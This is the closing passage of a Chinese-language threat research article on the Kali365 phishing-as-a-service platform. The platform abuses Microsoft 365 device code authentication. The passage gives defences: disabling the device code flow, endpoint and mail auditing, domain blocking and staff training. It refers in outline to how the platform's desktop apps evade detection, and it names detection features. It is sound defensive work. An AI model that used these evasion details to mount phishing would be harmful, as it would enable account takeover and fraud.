反网络钓鱼技术专家芦笛强调,限制甚至全局禁用微软设备代码流是阻断该类攻击最核心、最有效的手段,也是防御 Kali365 及同类 PhaaS 平台的第一道防线。
微软官方明确建议企业租户尽可能全局阻止设备代码流,仅为确有使用需求的特殊终端创建白名单,具体配置策略如下:
全局禁用策略:在 Azure AD 身份认证策略中,关闭设备代码认证流程,禁止所有账号使用该方式登录,从根源阻断攻击入口;
白名单例外策略:针对智能电视、IoT 设备、无浏览器工业终端等必须使用设备代码流的设备,基于设备 ID、IP 地址、用户账号创建精细化白名单,白名单外一律拦截;
权限分级管控:租户管理员账号严格禁止使用设备代码流,高权限账号单独配置最严格的认证策略,避免管理员令牌被窃取后引发全域沦陷。
该策略可直接阻断 Kali365 最核心的攻击链路,防护效果远高于事后检测。
6.3 终端层防御策略
针对 OctoLink Live、OctoLink Sender 两款 Electron 桌面应用,强化终端安全管控:
进程管控:终端安全软件拦截未知 Electron 程序,重点监测非正规路径下的 Chromium 衍生进程、批量邮件发送进程;
User-Agent 监控:终端代理、EDR 产品记录浏览器与应用的 User-Agent,识别带有 Electron 特征的异常程序;
会话隔离管控:禁止终端在短时间内创建大量独立浏览器会话分区,监控异常 Cookie 生成行为;
软件准入:严格限制员工安装未知来源桌面程序,关闭终端非正式软件的运行权限。
6.4 邮件系统防御策略
针对诱饵邮件、二次钓鱼邮件、AI 欺诈邮件构建多层防护:
前端诱饵拦截:邮件安全网关拦截指向 Canva、不知名静态站点的可疑跳转链接,对 “加密文档、共享文件” 类高风险邮件做重点沙箱检测;
内部邮件审计:监控内部账号对外发送的批量邮件、金融类敏感邮件,对修改收款账户、紧急转账类异常邮件强制人工审核;
草稿邮件审计:定期巡检 Exchange 草稿箱,排查短时间内批量创建、快速删除的孤立草稿,匹配 OctoLink Sender 的三步行为特征;
内容检测:针对 AI 生成邮件的句式、措辞特征,启用 AI 邮件识别模型,拦截模板化欺诈邮件。
6.5 基础设施与域名防护策略
结合 Kali365 依赖自定义域名、Cloudflare Workers 的特征,强化域名与流量防护:
恶意域名拦截:持续汇总攻击相关钓鱼域名、IP 地址,同步至防火墙、DNS 网关,全域拦截访问;
Cloudflare 流量监测:监控本租户流量中大量经由 Cloudflare Workers 跳转的异常访问,排查隐蔽钓鱼节点;
员工安全意识培训:针对 “设备代码验证、加密文档、共享文件” 类高频钓鱼场景开展专项培训,让员工识别仿冒微软认证页面。
7 结语
本文对 Kali365(Octopi365、Freedom365)商业化钓鱼即服务平台开展了全维度技术研究,完整还原了该平台依托微软设备代码流实施身份劫持、权限持久化、AI 辅助 BEC 欺诈、二次批量钓鱼的全攻击链路,拆解了 E1、E2、E3 三大版本的架构差异、功能定位与核心代码逻辑,剖析了 OctoLink Live、OctoLink Sender 两款桌面应用绕过安全检测的底层技术原理,并结合攻击特征输出了可落地的检测规则与多维度防御体系。
从威胁演化角度来看,Kali365 标志着黑产 PhaaS 平台进入智能化、体系化、商业化的成熟阶段。该平台不再依赖复杂漏洞利用,而是滥用合法云服务功能与认证流程,结合 AI 能力、自动化运维、加密货币支付形成闭环黑产生态,技术门槛持续降低,攻击效率与隐蔽性大幅提升。微软设备代码流这类原本服务于便民场景的功能,在无管控状态下成为身份安全的重大隐患,也反映出云办公生态中 “功能便捷性” 与 “安全管控” 的平衡难题。
研究证实,单一的杀毒软件、邮件网关、日志检测无法抵御此类复合型 PhaaS 攻击,防御工作必须遵循 “源头阻断为主、事后检测为辅” 的原则。全局管控设备代码认证流程、细化身份权限分级是阻断攻击的核心手段;结合日志狩猎、终端行为监控、邮件审计实现全链路威胁发现;搭配员工安全培训形成最后一道人为防线,三者结合才能构建有效纵深防御。
当前 Kali365 类 PhaaS 平台仍在持续迭代,新的诱饵模板、绕过技术、分发渠道会不断出现。政企微软 365 租户需持续关注同类商业化钓鱼平台的技术动态,定期更新防御规则与安全策略,常态化开展威胁狩猎,持续加固身份认证体系与邮件安全体系,以此应对不断演化的体系化钓鱼威胁。反网络钓鱼技术专家芦笛认为,未来云办公场景下的钓鱼攻击会进一步融合 AI、自动化、服务化能力,安全防护也必须从单点产品防护转向全域、联动、动态的综合安全体系,这也是后续政企网络安全建设的重点方向。
编辑:芦笛(公共互联网反网络钓鱼工作组)